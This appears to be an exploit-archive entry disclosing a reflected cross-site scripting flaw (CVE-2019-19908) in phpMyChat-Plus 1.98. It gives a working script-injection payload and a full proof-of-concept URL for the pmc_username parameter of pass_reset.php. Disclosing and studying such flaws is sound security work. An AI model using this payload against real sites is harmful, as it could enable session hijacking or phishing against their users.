Phpmychatplus 1.98 pmc_username reflected crosssite scripting Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-12-20 | Type : webapps | Platform : php
This exploit / vulnerability Phpmychatplus 1.98 pmc_username reflected crosssite scripting is for educational purposes only and if it is used you will do on your own risk!


[+] Code ...

# Exploit Title: phpMyChat-Plus 1.98 - 'pmc_username' Reflected Cross-Site Scripting
# Date: 2019-12-19
# Exploit Author: Chris Inzinga
# Vendor Homepage: http://ciprianmp.com/latest/
# Download: https://sourceforge.net/projects/phpmychat/
# Tested On: Linux & Mac
# Version: 1.98
# CVE: CVE-2019-19908

Description:
The "pmc_username" parameter of pass_reset.php is vulnerable to reflected XSS

Payload:
"><script>alert('xss')</script>

Vulnerable URL:
http://localhost/plus/pass_reset.php?L=english&pmc_username="><script>alert('xss')</script>